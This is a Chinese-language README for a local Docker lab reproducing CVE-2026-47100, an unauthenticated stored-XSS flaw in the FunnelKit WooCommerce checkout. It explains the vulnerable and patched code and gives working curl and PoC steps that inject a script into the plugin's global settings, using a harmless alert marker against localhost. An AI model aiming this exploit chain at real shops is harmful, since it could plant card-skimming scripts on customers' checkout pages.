本地 Docker 实验室,用于以安全、最低危害方式重现 CVE-2026-47100。 该实验室对比了存在漏洞的 FunnelKit 版本与已修复版本,并通过无害的 JavaScript 标记/弹窗来验证行为。
CVE-2026-47100 是 Funnel Builder / FunnelKit for WooCommerce Checkout 在 3.15.0.3 版本之前存在的一个授权缺失漏洞。
存在漏洞的结账 AJAX 流程允许未经认证的访客调用内部插件方法,并将数据写入 FunnelKit 内置的全局外部脚本设置。由于该设置随后会在 FunnelKit 结账页面上被渲染,因此该问题可能成为结账页面上的未经认证存储型XSS。
本仓库使用两个 Docker 服务在本地重现该问题:
| 服务 | 版本 | URL | 预期结果 |
|---|---|---|---|
vuln | 3.15.0.2 | http://127.0.0.1:8081 | 确认存在漏洞行为 |
patched | 3.15.0.3 | http://127.0.0.1:8082 | 写入被阻止 / 标记未渲染 |

来自 Vulnx 输出的初始 CVE 选择。实验室和PoC是通过对比漏洞版和修复版行为手动构建的。
未经认证的攻击者可利用公开的结账 AJAX 流程将 JavaScript 持久化到 FunnelKit 的全局外部脚本设置中。
在真实的 WooCommerce 商店中,这可能允许恶意 JavaScript 在访问结账页面的用户浏览器中运行。公开报告已将该类漏洞与结账页面窃取攻击联系起来。
本实验室仅使用无害的证明标记:
<script>window.CVE_2026_47100_LAB_PROOF="ok";alert("CVE-2026-47100 LAB Stored XSS")</script>
存在漏洞的版本接受来自公开 WooCommerce AJAX 端点的用户控制的结账数据:
/?wc-ajax=update_order_review
在 FunnelKit 结账流程中,请求可包含:
wfacp_input_hidden_data={"action":"update_global_settings_fields", ...}
存在漏洞的逻辑检查所提供的 action 名是否作为类方法存在。如果方法存在,则可以从公开结账流程中调用。
简化的漏洞行为:
if ( method_exists( __CLASS__, $action ) ) {
self::$output_resp = self::$action( $input_data );
}
攻击者控制的重要 action 是:
update_global_settings_fields
该方法会更新 WordPress 选项:
_wfacp_global_settings
特别是内置的 FunnelKit 键:
wfacp_global_external_script
存储的值随后会被结账模板读取并在结账页面上渲染。这就造成了存储型XSS条件。
利用链:
未经认证的结账访客
→ 公开 WooCommerce update_order_review AJAX
→ 攻击者控制的 wfacp_input_hidden_data[action]
→ update_global_settings_fields()
→ update_option('_wfacp_global_settings')
→ 在结账页面上渲染 wfacp_global_external_script
→ 存储型XSS
版本 3.15.0.3 通过两个重要更改加固了漏洞路径。
已修复版本限制了可从公开结账流程中调用的结账 action。
简化的修复行为:
$allowed_actions = array(
'update_cart_item_quantity',
'update_cart_multiple_page',
'remove_cart_item',
'undo_cart_item',
'prep_fees',
);
if (
is_string( $action ) &&
in_array( $action, $allowed_actions, true ) &&
method_exists( __CLASS__, $action )
) {
self::$output_resp = self::$action( $input_data );
}
这阻止了诸如 update_global_settings_fields 之类的任意内部方法被未经认证的结账请求调用。
已修复版本还在更新全局设置前添加了授权检查:
if ( ! current_user_can( 'manage_woocommerce' ) ) {
return $resp;
}
这意味着全局外部脚本设置只能由拥有 WooCommerce 管理权限的用户写入。
host
├── http://127.0.0.1:8081 → WordPress + WooCommerce + FunnelKit 3.15.0.2
└── http://127.0.0.1:8082 → WordPress + WooCommerce + FunnelKit 3.15.0.3
种子过程创建了:
实验室产品
- 用于创建有效购物车/会话的WooCommerce产品
- 干净实验室中预期的产品ID:10
实验室漏斗结账页
- 用于触发结账AJAX流程的FunnelKit结账页面
- 干净实验室中预期的结账文章ID:11
实验室使用确定的结账URL:
/?post_type=wfacp_checkout&p=11
这显式地在本地 Docker 实验室中加载了 FunnelKit 结账自定义文章。
启动实验室:
docker compose up -d --build
检查服务:
docker compose ps
预期的服务:
vuln http://127.0.0.1:8081
patched http://127.0.0.1:8082
安装 Python 依赖:
python3 -m venv .venv
. .venv/bin/activate
pip install requests
poc/poc_lab.py 是确定的实验室 PoC。
它假设本地 Docker 种子值:
product_id = 10
checkout_post_id = 11
针对存在漏洞的服务运行:
python3 poc/poc_lab.py http://127.0.0.1:8081
预期结果:
[*] AJAX action: update_global_settings_fields
[*] AJAX status: True
[*] AJAX msg: Changes saved
[*] Marker rendered in HTML: True
=== Result ===
likely_vulnerable: True
[+] Vulnerable behavior confirmed.
针对已修复的服务运行:
python3 poc/poc_lab.py http://127.0.0.1:8082
预期结果:
[*] AJAX action: update_global_settings_fields
[*] AJAX status: None
[*] AJAX msg: None
[*] Marker rendered in HTML: False
=== Result ===
likely_vulnerable: False
[-] Vulnerable behavior was not confirmed.
[-] On patched targets this is expected.
poc/poc_check.py 是一个更便携的授权自检工具。
仅被动检查:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11"
主动授权检查:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized
仅标记模式(无弹窗):
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized \
--marker-only
清理尝试:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized \
--cleanup
创建一个新的 WooCommerce 会话并将实验室产品加入购物车:
rm -f /tmp/cve47100-vuln.cookies
curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
"http://127.0.0.1:8081/?add-to-cart=10" >/dev/null
获取 FunnelKit 结账页面并提取 WooCommerce 结账 nonce:
CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
"http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11")
NONCE=$(printf '%s' "$CHECKOUT_HTML" \
| grep -oE '"update_order_review_nonce":"[^"]+"' \
| head -n1 \
| cut -d: -f2 \
| tr -d '"')
echo "NONCE=$NONCE"
发送构造的结账 AJAX 请求:
curl -i "http://127.0.0.1:8081/?wc-ajax=update_order_review" \
-c /tmp/cve47100-vuln.cookies \
-b /tmp/cve47100-vuln.cookies \
-H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
--data-urlencode "security=${NONCE}" \
--data-urlencode "payment_method=cod" \
--data-urlencode "country=TH" \
--data-urlencode "state=" \
--data-urlencode "postcode=10110" \
--data-urlencode "city=Bangkok" \
--data-urlencode "address=Lab Street" \
--data-urlencode "address_2=" \
--data-urlencode "s_country=TH" \
--data-urlencode "s_state=" \
--data-urlencode "s_postcode=10110" \
--data-urlencode "s_city=Bangkok" \
--data-urlencode "s_address=Lab Street" \
--data-urlencode "s_address_2=" \
--data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":"<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")</script>"}}'
验证选项已被写入:
docker compose exec vuln wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json
预期结果:
{
"wfacp_global_external_script": "<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")<\/script>",
"wfacp_checkout_global_css": ""
}
验证标记已被渲染:
curl -s "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
| grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}'
在浏览器中打开以查看无害弹窗:
http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11
对端口 8082 重复相同流程:
rm -f /tmp/cve47100-patched.cookies
curl -s -c /tmp/cve47100-patched.cookies -b /tmp/cve47100-patched.cookies \
"http://127.0.0.1:8082/?add-to-cart=10" >/dev/null
CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-patched.cookies -b /tmp/cve47100-patched.cookies \
"http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11")
NONCE=$(printf '%s' "$CHECKOUT_HTML" \
| grep -oE '"update_order_review_nonce":"[^"]+"' \
| head -n1 \
| cut -d: -f2 \
| tr -d '"')
echo "NONCE=$NONCE"
curl -i "http://127.0.0.1:8082/?wc-ajax=update_order_review" \
-c /tmp/cve47100-patched.cookies \
-b /tmp/cve47100-patched.cookies \
-H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
--data-urlencode "security=${NONCE}" \
--data-urlencode "payment_method=cod" \
--data-urlencode "country=TH" \
--data-urlencode "state=" \
--data-urlencode "postcode=10110" \
--data-urlencode "city=Bangkok" \
--data-urlencode "address=Lab Street" \
--data-urlencode "address_2=" \
--data-urlencode "s_country=TH" \
--data-urlencode "s_state=" \
--data-urlencode "s_postcode=10110" \
--data-urlencode "s_city=Bangkok" \
--data-urlencode "s_address=Lab Street" \
--data-urlencode "s_address_2=" \
--data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":"<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")</script>"}}'
验证选项保持不变:
docker compose exec patched wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json
预期结果:
[]
验证标记未被渲染:
curl -s "http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11" \
| grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}'
预期结果:无输出。
当以下所有条件成立时,存在漏洞的服务确认了该问题:
AJAX action: update_global_settings_fields
AJAX status: True
AJAX msg: Changes saved
Marker rendered in HTML: True
当以下情况时,已修复的服务确认了修复:
AJAX action: update_global_settings_fields
AJAX status: None
AJAX msg: None
Marker rendered in HTML: False
_wfacp_global_settings remains []
本仓库仅用于本地、授权的安全研究。
允许的范围:
localhost
127.0.0.1
Docker Compose 实验室网络
您拥有或已获得明确书面许可进行测试的系统
不允许的行为:
支付信息窃取
Cookie 窃取
Token 窃取
凭证收集
外部数据外泄
对第三方商店的未授权测试
PoC 仅使用无害的弹窗和标记。